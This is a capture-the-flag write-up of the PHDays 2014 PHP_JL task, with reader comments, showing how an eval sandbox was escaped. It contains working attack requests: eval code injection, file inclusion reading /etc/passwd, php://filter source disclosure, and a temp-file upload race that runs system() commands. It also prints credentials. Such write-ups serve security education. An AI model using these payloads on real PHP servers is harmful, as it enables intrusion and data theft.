This time another great quals CTF organized by guys and girls of PHdays. PHP_JL was another PHP with safe_mode and functions disabled.
First we have to notice is the source of html output:
<!-- Notice: Undefined index: code in /var/www/index.php on line 53 Notice: Undefined index: code in /var/www/index.php on line 56 Empty value
If we fill code value, another PHP error jumps on screen:
<!-- Parse error: syntax error, unexpected $end in /var/www/index.php(56) : eval()'d code on line 1 Empty value
This is eval function that complains about the lack of semicolon. Several tries on our code giving us more perspective about the task, but we was very far from solution …
195.133.87.172/?code=phpinfo(); <!-- Warning: phpinfo() has been disabled for security reasons in /var/www/index.php(56) : eval()'d code on line 1
Ok, we cannot use a lot of interesting PHP function, instantiate an object due __construct restrictions too … What can we do ? Let’s include or require some files:
195.133.87.172/?code=include('../../../../../../etc/passwd'); <!--root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false messagebus:x:102:105::/var/run/dbus:/bin/false whoopsie:x:103:106::/nonexistent:/bin/false landscape:x:104:109::/var/lib/landscape:/bin/false sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin phd:x:1000:1000:phd,,,:/home/phd:/bin/bash Empty value
At this point, Michi realized that we can read source code with:
http://195.133.87.172/?code=;require($_GET["foo"]);&foo=php://filter/convert.base64-encode/resource=index.php http://195.133.87.172/?code=;require($_GET["foo"]);&foo=php://filter/convert.base64-encode/resource=admin.php
And decoding Base64 (index.php)
&lt;!-- PAGE; $get_password_hash = function( $filename){ return hash('sha512',file_get_contents($filename, false, NULL, 0, 32)); }; $file_path= "/home/phd/password"; $evil = '/=|function|class|for|foreach|while|die|exit|eval|print|echo|unset|isset|empty/i'; if (preg_match($evil,$_GET['code']) ){ die("Don't try to cheat me!"); } $user_pass = eval($_GET['code']); if (empty($user_pass)){ die("Empty value"); } if ($user_pass !== $get_password_hash( $file_path)) die("Invalid password"); else die(file_get_contents('./admin.php')); ?&gt;
A troll inside admin.php ! WTF …
So we try to read ‘/home/phd/password’ (It5_N0T_4_fl4G_Bu7_u_R_s0_cl0s3) apply the sha512 32-bytes of the get_password_hash method … but no luck, they was trolling a lot ! So Michi, in a very clever way, decide at this point win the race and says:
» Upload file with one request, make it output the file’s tempname by deliberately triggering a file not found include followed by junk output to fill up the output buffer, then put that PHP script into an infinite loop (a:, goto a); in the meanwhile, grab the temp name and start a second request to include it. This is an easy-to-win race, since the execution time limit is 30 seconds and the file remains there until the first request is killed by that timeout.»
curl --user phd:OJIOJIO_Y4_v0dit3l_nL0 -v 'http://195.133.87.172/?code=include($_FILES\[foo\]\[tmp_name\]."|0");include($_POST\[p\]);include($_POST\[p\]);include($_POST\[p\]);include($_POST\[p\]);include($_POST\[p\]);include($_POST\[p\]);include($_POST\[p\]);include($_POST\[p\]);include($_POST\[p\]);include($_POST\[p\]);include($_POST\[p\]);include($_POST\[p\]);include($_POST\[p\]);a:%0Agoto%20a;' -F foo=@test.php -F p=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
The rest is history:
test.php: <?php $file_path="ls -la /home/phd/"; $get_password_hash = 'system'; ?> Real request: http://195.133.87.172/?code=;require("/tmp/phplUaO5I");%20return%2042; total 52 drwxr-xr-x 4 phd phd 4096 Jan 26 01:38 . drwxr-xr-x 3 root root 4096 Nov 29 14:05 .. -rw------- 1 phd phd 3177 Jan 26 01:45 .bash_history -rw-r--r-- 1 phd phd 220 Nov 29 14:05 .bash_logout -rw-r--r-- 1 phd phd 3486 Nov 29 14:05 .bashrc drwx------ 2 phd phd 4096 Nov 29 14:07 .cache -rw-r--r-- 1 phd phd 675 Nov 29 14:05 .profile drwx------ 2 phd phd 4096 Nov 29 15:14 .ssh -rw------- 1 root root 11515 Jan 26 01:38 .viminfo -rw-r--r-- 1 root root 47 Dec 16 18:45 FLAG_11d872ebf8a633d5425bd0d26bdc97029464824d -rw-r--r-- 1 root root 32 Dec 13 16:25 password Grab the flag file by LFI: FLAG IS: YoU_d0_No7_n33d_Func7ionZ_to_h4ck_PHP
Pingback: PHDays Jan 2014 Qual – Write Up Collection | LoLs of Highfield Court
Why we couldn’t do including of test.php in one request:
http://195.133.87.172/?code=;require($_FILES\[foo\]\[tmp_name\]);%20return%2042; -F foo=@test.php
To overwrite directly the variables? Can’t test now because they’ve closed the tasks, but seems we need the infinite loop (a;goto a;). Server has sushosin and a tons of avoided functions.
Actually this was my first approach, but some PHP security module – most probably suhosin in an appropriate configuration – prevented include()/require() from processing anything that PHP considers an ‘uploaded file’, i.e. everything that goes into $_FILES by POST upload.
Hence the approach to use a file dropped into /tmp by a *different* request, so PHP won’t consider it an uploaded file – this just leaves us with the problem that uploaded temporary files are deleted by PHP as soon as a request finished. There the infinite loop comes into play – it stalls the request that uploaded the file for 30 seconds, leaving enough time to fire a second request to include the temporary file created.
Thanks M. :)